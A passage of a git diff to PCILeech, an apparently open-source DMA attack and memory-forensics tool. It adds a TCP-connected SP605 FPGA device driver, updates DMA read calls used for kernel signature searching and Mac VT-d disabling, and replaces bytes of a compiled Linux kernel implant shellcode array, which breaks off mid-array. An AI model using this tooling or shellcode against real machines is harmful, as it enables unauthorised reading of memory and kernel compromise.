hdrWr64->RequesterID = ctx->wDeviceId; + hdrWr64->AddressHigh = (DWORD)(qwA >> 32); + hdrWr64->AddressLow = (DWORD)qwA; + for (i = 0; i < 4; i++) { + ENDIAN_SWAP_DWORD(txbuf[i]); + } + memcpy(pbTlp + 16, pb, cb); + cbTlp = (16 + cb + 3) & ~0x3; + } + return Device605_TCP_TxTlp(ctx, pbTlp, cbTlp, FALSE); +} + +BOOL Device605_TCP_WriteDMA(_Inout_ PPCILEECH_CONTEXT ctxPcileech, _In_ QWORD qwA, _In_ PBYTE pb, _In_ DWORD cb) +{ + PDEVICE_CONTEXT_SP605_TCP ctx = (PDEVICE_CONTEXT_SP605_TCP)ctxPcileech->hDevice; + BOOL result = TRUE; + BYTE be, pbb[4]; + DWORD cbtx; + // TX 1st dword if not aligned + if (cb && (qwA & 0x3)) { + be = (cb < 3) ? (0xf >> (4 - cb)) : 0xf; + be <<= qwA & 0x3; + cbtx = min(cb, 4 - (qwA & 0x3)); + memcpy(pbb + (qwA & 0x3), pb, cbtx); + result = Device605_TCP_WriteDMA_TXP(ctx, qwA & ~0x3, be, 0, pbb, 4); + pb += cbtx; + cb -= cbtx; + qwA += cbtx; + } + // TX as 128-byte packets (aligned to 128-byte boundaries) + while (result && cb) { + cbtx = min(128 - (qwA & 0x7f), cb); + be = (cbtx & 0x3) ? (0xf >> (4 - (cbtx & 0x3))) : 0xf; + result = (cbtx <= 4) ? + Device605_TCP_WriteDMA_TXP(ctx, qwA, be, 0, pb, 4) : + Device605_TCP_WriteDMA_TXP(ctx, qwA, 0xf, be, pb, cbtx); + pb += cbtx; + cb -= cbtx; + qwA += cbtx; + } + return Device605_TCP_TxTlp(ctx, NULL, 0, TRUE) && result; // Flush and Return. +} + +BOOL Device605_TCP_ListenTlp(_Inout_ PPCILEECH_CONTEXT ctxPcileech, _In_ DWORD dwTime) +{ + PDEVICE_CONTEXT_SP605_TCP ctx = (PDEVICE_CONTEXT_SP605_TCP)ctxPcileech->hDevice; + QWORD tmStart = GetTickCount64(); + while (GetTickCount64() - tmStart < dwTime) { + if (!Device605_TCP_TxTlp(ctx, NULL, 0, TRUE)) { + return FALSE; + } + Sleep(10); + if (!Device605_TCP_RxTlpSynchronous(ctx)) { + return FALSE; + } + } + return TRUE; +} + +BOOL Device605_TCP_WriteTlp(_Inout_ PPCILEECH_CONTEXT ctxPcileech, _In_ PBYTE pbTlp, _In_ DWORD cbTlp) +{ + PDEVICE_CONTEXT_SP605_TCP ctx = (PDEVICE_CONTEXT_SP605_TCP)ctxPcileech->hDevice; + return Device605_TCP_TxTlp(ctx, pbTlp, cbTlp, TRUE); +} + +BOOL Device605_TCP_Open(_Inout_ PPCILEECH_CONTEXT ctxPcileech) +{ + PDEVICE_CONTEXT_SP605_TCP ctx; +#ifdef WIN32 + + WSADATA WsaData; + WSAStartup(MAKEWORD(2, 2), &WsaData); + +#endif + if (ctxPcileech->cfg->TcpAddr == 0) { + fprintf(stderr, "ERROR: Remote address is not specified\n"); + return FALSE; + } + ctx = LocalAlloc(LMEM_ZEROINIT, sizeof(DEVICE_CONTEXT_SP605_TCP)); + if (!ctx) { return FALSE; } + ctxPcileech->hDevice = (HANDLE)ctx; + // open device connection + if (ctxPcileech->cfg->TcpPort == 0) { ctxPcileech->cfg->TcpPort = DEFAULT_PORT; } + ctx->Sock = Device605_TCP_Connect(ctxPcileech->cfg->TcpAddr, ctxPcileech->cfg->TcpPort); + if (!ctx->Sock) { goto fail; } + ctx->wDeviceId = Device605_TCP_GetDeviceID(ctx); + if (!ctx->wDeviceId) { goto fail; } + ctx->rxbuf.cbMax = (DWORD)(2.3 * SP605_TCP_MAX_SIZE_RX); + ctx->rxbuf.pb = LocalAlloc(0, ctx->rxbuf.cbMax); + if (!ctx->rxbuf.pb) { goto fail; } + ctx->txbuf.cbMax = SP605_TCP_MAX_SIZE_TX + 0x10000; + ctx->txbuf.pb = LocalAlloc(0, ctx->txbuf.cbMax); + if (!ctx->txbuf.pb) { goto fail; } + ctx->isPrintTlp = ctxPcileech->cfg->fVerboseExtra; + // set callback functions and fix up config + ctxPcileech->cfg->dev.tp = PCILEECH_DEVICE_SP605_TCP; + ctxPcileech->cfg->dev.qwMaxSizeDmaIo = 0x1e000; + ctxPcileech->cfg->dev.qwAddrMaxNative = 0x0000ffffffffffff; + ctxPcileech->cfg->dev.fPartialPageReadSupported = TRUE; + ctxPcileech->cfg->dev.pfnClose = Device605_TCP_Close; + ctxPcileech->cfg->dev.pfnProbeDMA = Device605_TCP_ProbeDMA; + ctxPcileech->cfg->dev.pfnReadDMA = Device605_TCP_ReadDMA; + ctxPcileech->cfg->dev.pfnWriteDMA = Device605_TCP_WriteDMA; + ctxPcileech->cfg->dev.pfnWriteTlp = Device605_TCP_WriteTlp; + ctxPcileech->cfg->dev.pfnListenTlp = Device605_TCP_ListenTlp; + // return + if (ctxPcileech->cfg->fVerbose) { printf("Device Info: SP605 / MicroBlaze TCP.\n"); } + return TRUE; +fail: + Device605_TCP_Close(ctxPcileech); + return FALSE; +} diff --git a/pcileech/device605_tcp.h b/pcileech/device605_tcp.h new file mode 100644 index 0000000..477d069 --- /dev/null +++ b/pcileech/device605_tcp.h @@ -0,0 +1,16 @@ +// device605_tcp.h : definitions related to the Xilinx SP605 dev board flashed with @d_olex bitstream. +// +// (c) Ulf Frisk & @d_olex, 2017 +// +#ifndef __DEVICE605_TCP_H__ +#define __DEVICE605_TCP_H__ +#include "pcileech.h" + +/* +* Open a connection to the SP605/MicroBlaze PCILeech flashed device. +* -- ctx +* -- result +*/ +BOOL Device605_TCP_Open(_Inout_ PPCILEECH_CONTEXT ctx); + +#endif /* __DEVICE605_TCP_H__ */ diff --git a/pcileech/executor.c b/pcileech/executor.c index 7713f40..1d62b95 100644 --- a/pcileech/executor.c +++ b/pcileech/executor.c @@ -161,7 +161,7 @@ VOID Exec_Callback(_Inout_ PPCILEECH_CONTEXT ctx, _Inout_ PHANDLE phCallback) if(ph->is.bin.seqAck >= ph->os.bin.seq) { return; } cbLength = 0; result = - DeviceReadDMAEx(ctx, ctx->pk->DMAAddrPhysical + ctx->pk->dataOutExtraOffset, ph->pbDMA, (DWORD)SIZE_PAGE_ALIGN_4K(ctx->pk->dataOutExtraLength), NULL) && + DeviceReadDMAEx(ctx, ctx->pk->DMAAddrPhysical + ctx->pk->dataOutExtraOffset, ph->pbDMA, (DWORD)SIZE_PAGE_ALIGN_4K(ctx->pk->dataOutExtraLength), NULL, 0) && (cbLength = fwrite(ph->pbDMA, 1, ctx->pk->dataOutExtraLength, ph->pFileOutput)) && (ctx->pk->dataOutExtraLength == cbLength); ph->qwFileWritten += cbLength; @@ -237,7 +237,7 @@ BOOL Exec_ExecSilent(_Inout_ PPCILEECH_CONTEXT ctx, _In_ LPSTR szShellcodeName, *pcbOut = pk->dataOutExtraLength; *ppbOut = (PBYTE)LocalAlloc(0, SIZE_PAGE_ALIGN_4K(*pcbOut)); if(!*ppbOut) { result = FALSE; goto fail; } - result = SIZE_PAGE_ALIGN_4K(*pcbOut) == DeviceReadDMAEx(ctx, pk->DMAAddrPhysical + pk->dataOutExtraOffset, *ppbOut, SIZE_PAGE_ALIGN_4K(*pcbOut), NULL); + result = SIZE_PAGE_ALIGN_4K(*pcbOut) == DeviceReadDMAEx(ctx, pk->DMAAddrPhysical + pk->dataOutExtraOffset, *ppbOut, SIZE_PAGE_ALIGN_4K(*pcbOut), NULL, 0); } fail: LocalFree(pKmdExec); @@ -337,7 +337,7 @@ VOID ActionExecShellcode(_Inout_ PPCILEECH_CONTEXT ctx) if(cbLength > 0) { // read extra output buffer if(!(pbBuffer = LocalAlloc(LMEM_ZEROINIT, SIZE_PAGE_ALIGN_4K(cbLength))) || - !DeviceReadDMAEx(ctx, pk->DMAAddrPhysical + pk->dataOutExtraOffset, pbBuffer, SIZE_PAGE_ALIGN_4K(cbLength), NULL)) { + !DeviceReadDMAEx(ctx, pk->DMAAddrPhysical + pk->dataOutExtraOffset, pbBuffer, SIZE_PAGE_ALIGN_4K(cbLength), NULL, 0)) { printf("EXEC: Error reading output.\n"); goto fail; } diff --git a/pcileech/extra.c b/pcileech/extra.c index 9014fc1..ac538aa 100644 --- a/pcileech/extra.c +++ b/pcileech/extra.c @@ -16,7 +16,7 @@ VOID Extra_MacFVRecover_ReadMemory_Optimized(_Inout_ PPCILEECH_CONTEXT ctx, _Ino 0x88000000, 0x89000000, 0x8a000000, 0x8b000000, 0x8c000000, 0x8d000000, 0x8e000000, 0x8f000000 }; for(i = 0; i < sizeof(dwOffsets) / sizeof(DWORD); i++) { - DeviceReadDMAEx(ctx, dwOffsets[i], pb512M + dwOffsets[i] - 0x70000000, 0x01000000, NULL); + DeviceReadDMAEx(ctx, dwOffsets[i], pb512M + dwOffsets[i] - 0x70000000, 0x01000000, NULL, PCILEECH_FLAG_MEM_EX_FASTFAIL); } } @@ -156,7 +156,7 @@ VOID Action_MacDisableVtd(_Inout_ PPCILEECH_CONTEXT ctx) // DMAR table assumed to be on page boundary. This doesn't have to be true, // but it seems like it is on the MACs. for(i = 0; i < sizeof(dwOffsets) / sizeof(DWORD); i++) { - if(DeviceReadDMAEx(ctx, dwOffsets[i], pb16M, 0x01000000, NULL)) { + if(DeviceReadDMAEx(ctx, dwOffsets[i], pb16M, 0x01000000, NULL, PCILEECH_FLAG_MEM_EX_FASTFAIL)) { for(j = 0; j < 0x01000000; j += 0x1000) { if(*(PQWORD)(pb16M + j) == 0x0000008852414d44) { dwAddress = dwOffsets[i] + j; diff --git a/pcileech/help.c b/pcileech/help.c index 8619204..4752f27 100644 --- a/pcileech/help.c +++ b/pcileech/help.c @@ -91,7 +91,9 @@ VOID Help_ShowGeneral() " Wait occurs after any other actions have been completed. \n" \ " -device: force the use of a specific hardware device instead of auto-detect.\n" \ " Affects all modes and commands. \n" \ - " Valid options: USB3380, SP605_UART, SP605_FT601 \n" \ + " Valid options: USB3380, SP605_UART, SP605_FT601, SP605_TCP \n" \ + " -device-addr: Remote address for -device SP605_TCP. \n" \ + " -device-port: Remote TCP port for -device SP605_TCP. Default value: 28472. \n" \ " -help: show help about the selected command or implant and then exit \n" \ " without running the command. Affects all modes and commands. \n" \ " Option has no value. Example: -help \n" \ @@ -138,7 +140,7 @@ VOID Help_ShowInfo() printf( " PCILEECH INFORMATION \n" \ " PCILeech (c) 2016, 2017 Ulf Frisk \n" \ - " Version: 2.3 \n" \ + " Version: 2.4 \n" \ " License: GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 \n" \ " Contact information: pcileech@frizk.net \n" \ " System requirements: 64-bit Windows 7, 10 or Linux. \n" \ diff --git a/pcileech/kmd.c b/pcileech/kmd.c index 7123c3c..382e576 100644 --- a/pcileech/kmd.c +++ b/pcileech/kmd.c @@ -75,7 +75,7 @@ BOOL KMD_FindSignature2(_Inout_ PBYTE pbPages, _In_ DWORD cPages, _In_ QWORD qwA BOOL KMD_FindSignature1(_Inout_ PPCILEECH_CONTEXT ctx, _Inout_ PSIGNATURE pSignatures, _In_ DWORD cSignatures, _Out_ PDWORD pdwSignatureMatchIdx) { - QWORD i, qwAddrMax, qwAddrCurrent = 0x100000; + QWORD i, qwAddrMax, qwAddrCurrent = max(0x100000, ctx->cfg->qwAddrMin); PBYTE pbBuffer8M; BOOL result; PAGE_STATISTICS pageStat; @@ -96,7 +96,7 @@ BOOL KMD_FindSignature1(_Inout_ PPCILEECH_CONTEXT ctx, _Inout_ PSIGNATURE pSigna PageStatInitialize(&pageStat, qwAddrCurrent, qwAddrMax, "Searching for KMD location", FALSE, FALSE); while(qwAddrCurrent < qwAddrMax) { pageStat.qwAddr = qwAddrCurrent; - if(DeviceReadDMAEx(ctx, qwAddrCurrent, pbBuffer8M, 0x800000, &pageStat)) { + if(DeviceReadDMAEx(ctx, qwAddrCurrent, pbBuffer8M, 0x800000, &pageStat, 0)) { result = KMD_FindSignature2(pbBuffer8M, 2048, qwAddrCurrent, pSignatures, cSignatures, pdwSignatureMatchIdx); if(result) { LocalFree(pbBuffer8M); @@ -207,7 +207,7 @@ BOOL KMD_MacOSKernelSeekSignature(_Inout_ PPCILEECH_CONTEXT ctx, _Out_ PSIGNATUR cbTextHIB = (cbTextHIB + 0xfff) & 0xfffff000; pbTextHIB = LocalAlloc(0, cbTextHIB); if(!pbTextHIB) { return FALSE; } - if(!DeviceReadDMAEx(ctx, dwTextHIB, pbTextHIB, cbTextHIB, NULL)) { + if(!DeviceReadDMAEx(ctx, dwTextHIB, pbTextHIB, cbTextHIB, NULL, 0)) { LocalFree(pbTextHIB); return FALSE; } @@ -232,7 +232,7 @@ BOOL KMD_FreeBSDKernelSeekSignature(_Inout_ PPCILEECH_CONTEXT ctx, _Out_ PSIGNAT PBYTE pb64M = LocalAlloc(LMEM_ZEROINIT, 0x04000000); if(!pb64M) { return FALSE; } for(i = 0x01000000; i < 0x04000000; i += 0x01000000) { - DeviceReadDMAEx(ctx, i, pb64M + i, 0x01000000, NULL); + DeviceReadDMAEx(ctx, i, pb64M + i, 0x01000000, NULL, 0); } // 1: search for string 'vn_open' i = 0; @@ -354,7 +354,7 @@ BOOL KMD_Linux46KernelSeekSignature(_Inout_ PPCILEECH_CONTEXT ctx, _Out_ PSIGNAT // read 16M of memory first, if KASLR read 2M chunks at top of analysis buffer (performance reasons). dwKernelBase = 0x01000000 + cKSlide * 0x00200000; // KASLR = 16M + ([RND:0..511] * 2M) ??? if(cKSlide == 0) { - DeviceReadDMAEx(ctx, dwKernelBase, pb, 0x01000000, NULL); + DeviceReadDMAEx(ctx, dwKernelBase, pb, 0x01000000, NULL, 0); } else { memmove(pb, pb + 0x00200000, CONFIG_LINUX_SEEK_BUFFER_SIZE - 0x00200000); result = DeviceReadDMA( @@ -573,7 +573,7 @@ BOOL KMDOpen_UEFI_FindEfiBase(_Inout_ PPCILEECH_CONTEXT ctx) PageStatInitialize(&ps, dwAddrCurrent, dwAddrMax, "Searching for EFI BASE", FALSE, FALSE); // loop EFI BASE (IBI SYST) find while(dwAddrCurrent <= dwAddrMax - 0x100000) { - if(DeviceReadDMAEx(ctx, dwAddrCurrent, pb, 0x100000, &ps)) { + if(DeviceReadDMAEx(ctx, dwAddrCurrent, pb, 0x100000, &ps, 0)) { for(o = 0; o < 0x100000 - 0x100; o += 8) { if(0x5453595320494249 != *(PQWORD)(pb + o)) { continue; } // IBI SYST qwAddr_BOOTSERV = *(PQWORD)(pb + o + 0x60); @@ -844,7 +844,7 @@ BOOL KMD_GetPhysicalMemoryMap(_Inout_ PPCILEECH_CONTEXT ctx) } ctx->phKMD->pPhysicalMap = LocalAlloc(LMEM_ZEROINIT, (ctx->pk->_size + 0x1000) & 0xfffff000); if(!ctx->phKMD->pPhysicalMap) { return FALSE; } - DeviceReadDMAEx(ctx, ctx->pk->DMAAddrPhysical, (PBYTE)ctx->phKMD->pPhysicalMap, (DWORD)((ctx->pk->_size + 0x1000) & 0xfffff000), NULL); + DeviceReadDMAEx(ctx, ctx->pk->DMAAddrPhysical, (PBYTE)ctx->phKMD->pPhysicalMap, (DWORD)((ctx->pk->_size + 0x1000) & 0xfffff000), NULL, 0); ctx->phKMD->cPhysicalMap = ctx->pk->_size / sizeof(PHYSICAL_MEMORY_RANGE); if(ctx->phKMD->cPhysicalMap > 0x2000) { return FALSE; } // adjust max memory according to physical memory @@ -900,7 +900,7 @@ BOOL KMDReadMemory_DMABufferSized(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAd if(!result) { return FALSE; } result = KMD_SubmitCommand(ctx, KMD_CMD_READ); if(!result) { return FALSE; } - return (cb == DeviceReadDMAEx(ctx, ctx->pk->DMAAddrPhysical, pb, cb, NULL)) && ctx->pk->_result; + return (cb == DeviceReadDMAEx(ctx, ctx->pk->DMAAddrPhysical, pb, cb, NULL, 0)) && ctx->pk->_result; } BOOL KMDWriteMemory_DMABufferSized(_Inout_ PPCILEECH_CONTEXT ctx, _In_ QWORD qwAddress, _In_ PBYTE pb, _In_ DWORD cb) diff --git a/pcileech/memdump.c b/pcileech/memdump.c index 26fb69c..1e299a8 100644 --- a/pcileech/memdump.c +++ b/pcileech/memdump.c @@ -158,11 +158,11 @@ VOID ActionMemoryPageDisplay(_Inout_ PPCILEECH_CONTEXT ctx) { BYTE pb[4096]; QWORD qwAddr = ctx->cfg->qwAddrMin & 0x0fffffffffffff000; - printf("Memory Page Read: Page contents for address: 0x%016llX\n", qwAddr); if(!DeviceReadMEM(ctx, qwAddr, pb, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL)) { - printf("Memory Page Read: Failed.\n"); + printf("Memory Page Read: Failed reading memory at address: 0x%016llX.\n", qwAddr); return; } + printf("Memory Page Read: Page contents for address: 0x%016llX\n", qwAddr); Util_PrintHexAscii(pb, 4096); } diff --git a/pcileech/pcileech.c b/pcileech/pcileech.c index 2bb26f3..635d248 100644 --- a/pcileech/pcileech.c +++ b/pcileech/pcileech.c @@ -122,7 +122,13 @@ BOOL PCILeechConfigIntialize(_In_ DWORD argc, _In_ char* argv[], _Inout_ PPCILEE ctx->cfg->dev.tp = PCILEECH_DEVICE_SP605_UART; } else if(0 == _stricmp(argv[i + 1], "sp605_ft601")) { ctx->cfg->dev.tp = PCILEECH_DEVICE_SP605_FT601; + } else if(0 == _stricmp(argv[i + 1], "sp605_tcp")) { + ctx->cfg->dev.tp = PCILEECH_DEVICE_SP605_TCP; } + } else if(0 == strcmp(argv[i], "-device-addr")) { + ctx->cfg->TcpAddr = inet_addr(argv[i + 1]); + } else if(0 == strcmp(argv[i], "-device-port")) { + ctx->cfg->TcpPort = atoi(argv[i + 1]); } else if(0 == strcmp(argv[i], "-out")) { if((0 == _stricmp(argv[i + 1], "none")) || (0 == _stricmp(argv[i + 1], "null"))) { ctx->cfg->fOutFile = FALSE; @@ -236,7 +242,7 @@ int main(_In_ int argc, _In_ char* argv[]) } result = DeviceOpen(ctx); if(!result) { - printf("PCILEECH: Failed to connect to USB device.\n"); + printf("PCILEECH: Failed to connect to the device.\n"); PCILeechFreeContext(ctx); return 1; } diff --git a/pcileech/pcileech.h b/pcileech/pcileech.h index 70772e3..f556eb8 100644 --- a/pcileech/pcileech.h +++ b/pcileech/pcileech.h @@ -48,7 +48,8 @@ typedef enum tdPCILEECH_DEVICE_TYPE { PCILEECH_DEVICE_NA, PCILEECH_DEVICE_USB3380, PCILEECH_DEVICE_SP605_UART, - PCILEECH_DEVICE_SP605_FT601 + PCILEECH_DEVICE_SP605_FT601, + PCILEECH_DEVICE_SP605_TCP } PCILEECH_DEVICE_TYPE; typedef struct tdDeviceConfig { @@ -81,6 +82,8 @@ typedef struct tdConfig { CHAR szShellcodeName[MAX_PATH]; QWORD qwMaxSizeDmaIo; DWORD dwListenTlpTimeMs; + DWORD TcpAddr; + WORD TcpPort; // flags below BOOL fPageTableScan; BOOL fPatchAll; diff --git a/pcileech/pcileech.vcxproj b/pcileech/pcileech.vcxproj index 475b87b..b0335d9 100644 --- a/pcileech/pcileech.vcxproj +++ b/pcileech/pcileech.vcxproj @@ -86,6 +86,7 @@ + @@ -106,6 +107,7 @@ + diff --git a/pcileech/pcileech.vcxproj.filters b/pcileech/pcileech.vcxproj.filters index 78612b6..f413df9 100644 --- a/pcileech/pcileech.vcxproj.filters +++ b/pcileech/pcileech.vcxproj.filters @@ -72,6 +72,9 @@ Header Files + + Header Files + @@ -122,6 +125,9 @@ Source Files + + Source Files + diff --git a/pcileech/shellcode.h b/pcileech/shellcode.h index adb7087..b8884cc 100644 --- a/pcileech/shellcode.h +++ b/pcileech/shellcode.h @@ -1215,16 +1215,16 @@ const BYTE WINX64_VFS_KSH[] = { }; const BYTE LINUX_X64_VFS_KSH[] = { - 0x37, 0x13, 0xec, 0x3c, 0x76, 0x54, 0xf4, 0xae, 0xc2, 0x03, 0x8b, 0x8d, - 0x13, 0xe3, 0x01, 0x71, 0x38, 0xdb, 0xb7, 0xef, 0x5a, 0x4b, 0x6c, 0xfd, - 0xf6, 0x5e, 0xf7, 0x2b, 0x18, 0x5f, 0xf0, 0x90, 0x7d, 0xe4, 0x65, 0x6e, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x09, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x9e, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x37, 0x13, 0xec, 0x3c, 0xe5, 0x9f, 0x01, 0x26, 0x1d, 0x95, 0x40, 0x84, + 0xc5, 0x4a, 0xfb, 0x7f, 0x91, 0x42, 0x44, 0x50, 0xe2, 0x20, 0x75, 0x70, + 0x64, 0x58, 0x5a, 0x9b, 0x6e, 0xe6, 0xdb, 0x33, 0x7e, 0xe6, 0x5c, 0x3f, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xdb, 0x09, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x76, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0x48, 0x8b, 0xf4, 0x48, 0x83, 0xe4, 0xf0, - 0x48, 0x83, 0xec, 0x20, 0xe8, 0x8b, 0x07, 0x00, 0x00, 0x48, 0x8b, 0xe6, + 0x48, 0x83, 0xec, 0x20, 0xe8, 0x63, 0x08, 0x00, 0x00, 0x48, 0x8b, 0xe6, 0x5e, 0xc3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x4c, 0x8b, 0xf9, 0x4c, 0x8b, 0xf2, 0x4d, 0x8b, 0xe9, 0x49, 0xc1, 0xe5, 0x03, 0x4d, 0x8b, 0xe0, 0x49, 0x83, 0xed, 0x08, 0x49, 0x8b, 0xcf, 0x4b, 0x8b, 0x54, @@ -1244,130 +1244,148 @@ const BYTE LINUX_X64_VFS_KSH[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xff, 0xff, 0x48, 0x03, 0xc1, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0xff, 0xff, 0x48, 0x2b, 0xc8, 0x48, 0xc1, 0xe9, 0x07, 0x48, 0xc1, 0xe1, 0x0c, 0x48, 0x8b, 0xc1, - 0xc3, 0x0f, 0x09, 0xc3, 0x40, 0x55, 0x53, 0x57, 0x48, 0x8d, 0x6c, 0x24, - 0xb9, 0x48, 0x81, 0xec, 0x00, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x45, 0xa7, - 0xc7, 0x45, 0xa7, 0x73, 0x79, 0x73, 0x5f, 0x48, 0x89, 0x45, 0xe7, 0x48, - 0x8b, 0xda, 0x48, 0x8d, 0x45, 0x77, 0xc7, 0x45, 0xab, 0x75, 0x6e, 0x6c, - 0x69, 0x48, 0x89, 0x45, 0xef, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0x49, 0x10, - 0x48, 0x8d, 0x45, 0x7f, 0x48, 0x89, 0x45, 0xf7, 0x4c, 0x8b, 0xc2, 0x48, - 0x8d, 0x45, 0xb7, 0x66, 0xc7, 0x45, 0xaf, 0x6e, 0x6b, 0x48, 0x89, 0x45, - 0xff, 0x48, 0x8d, 0x55, 0xe7, 0x48, 0x8d, 0x45, 0x87, 0xc6, 0x45, 0xb1, - 0x00, 0x48, 0x89, 0x45, 0x07, 0x41, 0xb9, 0x09, 0x00, 0x00, 0x00, 0x48, - 0x8d, 0x44, 0x24, 0x20, 0xc7, 0x45, 0x77, 0x6d, 0x65, 0x6d, 0x63, 0x48, - 0x89, 0x45, 0x0f, 0x48, 0x8d, 0x45, 0x97, 0x48, 0x89, 0x45, 0x17, 0x48, - 0x8d, 0x44, 0x24, 0x30, 0x48, 0x89, 0x45, 0x1f, 0x48, 0x8d, 0x45, 0x67, - 0x48, 0x89, 0x45, 0x27, 0x66, 0xc7, 0x45, 0x7b, 0x70, 0x79, 0xc6, 0x45, - 0x7d, 0x00, 0xc7, 0x45, 0x7f, 0x6d, 0x65, 0x6d, 0x73, 0x66, 0xc7, 0x85, - 0x83, 0x00, 0x00, 0x00, 0x65, 0x74, 0xc6, 0x85, 0x85, 0x00, 0x00, 0x00, - 0x00, 0xc7, 0x45, 0xb7, 0x66, 0x69, 0x6c, 0x70, 0xc7, 0x45, 0xbb, 0x5f, - 0x63, 0x6c, 0x6f, 0x66, 0xc7, 0x45, 0xbf, 0x73, 0x65, 0xc6, 0x45, 0xc1, - 0x00, 0xc7, 0x45, 0x87, 0x66, 0x69, 0x6c, 0x70, 0xc7, 0x45, 0x8b, 0x5f, - 0x6f, 0x70, 0x65, 0x66, 0xc7, 0x45, 0x8f, 0x6e, 0x00, 0xc7, 0x44, 0x24, - 0x20, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x44, 0x24, 0x24, 0x72, 0x65, 0x61, - 0x64, 0xc6, 0x44, 0x24, 0x28, 0x00, 0xc7, 0x45, 0x97, 0x76, 0x66, 0x73, - 0x5f, 0xc7, 0x45, 0x9b, 0x77, 0x72, 0x69, 0x74, 0x66, 0xc7, 0x45, 0x9f, - 0x65, 0x00, 0xc7, 0x44, 0x24, 0x30, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x44, - 0x24, 0x34, 0x73, 0x74, 0x61, 0x74, 0xc6, 0x44, 0x24, 0x38, 0x00, 0xc7, - 0x45, 0x67, 0x79, 0x69, 0x65, 0x6c, 0x66, 0xc7, 0x45, 0x6b, 0x64, 0x00, - 0xe8, 0xed, 0xfd, 0xff, 0xff, 0x85, 0xc0, 0x74, 0x51, 0x48, 0x8b, 0x4f, - 0x10, 0x48, 0x8d, 0x55, 0xc7, 0xc7, 0x45, 0xc7, 0x69, 0x74, 0x65, 0x72, - 0xc7, 0x45, 0xcb, 0x61, 0x74, 0x65, 0x5f, 0xc7, 0x45, 0xcf, 0x64, 0x69, - 0x72, 0x00, 0xe8, 0x13, 0xfe, 0xff, 0xff, 0x48, 0x89, 0x43, 0x48, 0x48, - 0x8d, 0x55, 0xd7, 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x45, 0xd7, 0x76, 0x66, - 0x73, 0x5f, 0xc7, 0x45, 0xdb, 0x72, 0x65, 0x61, 0x64, 0xc7, 0x45, 0xdf, - 0x64, 0x69, 0x72, 0x00, 0xe8, 0xed, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x43, - 0x50, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x81, 0xc4, 0x00, 0x01, 0x00, - 0x00, 0x5f, 0x5b, 0x5d, 0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, - 0xec, 0x20, 0x48, 0x8b, 0xda, 0x41, 0xb9, 0xff, 0x01, 0x00, 0x00, 0x49, - 0x8d, 0x50, 0x18, 0x48, 0x8b, 0x4b, 0x20, 0x45, 0x8d, 0x41, 0x42, 0xe8, - 0xb6, 0xfd, 0xff, 0xff, 0x48, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, - 0xff, 0xff, 0x48, 0x3b, 0xc1, 0x76, 0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, - 0xeb, 0x11, 0x48, 0x8b, 0x4b, 0x18, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xd0, - 0xe8, 0x91, 0xfd, 0xff, 0xff, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b, - 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, - 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x50, - 0x48, 0x8b, 0xda, 0x49, 0x8b, 0xe8, 0x48, 0x8b, 0xf9, 0x49, 0x8d, 0x50, - 0x18, 0x45, 0x33, 0xc9, 0x41, 0xb8, 0x00, 0x00, 0x05, 0x00, 0x48, 0x8b, - 0x4b, 0x20, 0xe8, 0x53, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, 0xb8, - 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x48, 0x3b, 0xf0, 0x76, - 0x0a, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xe9, 0x84, 0x00, 0x00, 0x00, 0x48, - 0x8d, 0x0d, 0x92, 0x00, 0x00, 0x00, 0xe8, 0x67, 0xfd, 0xff, 0xff, 0x48, - 0x8b, 0x4b, 0x48, 0x4c, 0x8d, 0x05, 0x64, 0xfd, 0xff, 0xff, 0x4c, 0x89, - 0x44, 0x24, 0x20, 0x48, 0x89, 0x5c, 0x24, 0x38, 0x48, 0x89, 0x7c, 0x24, - 0x30, 0x48, 0x89, 0x6c, 0x24, 0x40, 0x48, 0x85, 0xc9, 0x74, 0x0f, 0x4c, - 0x8d, 0x44, 0x24, 0x20, 0x48, 0x8b, 0xd6, 0xe8, 0xfa, 0xfc, 0xff, 0xff, - 0xeb, 0x16, 0x48, 0x8b, 0x4b, 0x50, 0x48, 0x85, 0xc9, 0x74, 0x14, 0x4c, - 0x8d, 0x4c, 0x24, 0x20, 0x48, 0x8b, 0xd6, 0xe8, 0xe2, 0xfc, 0xff, 0xff, - 0x48, 0x89, 0x87, 0x28, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x4b, 0x18, 0x45, - 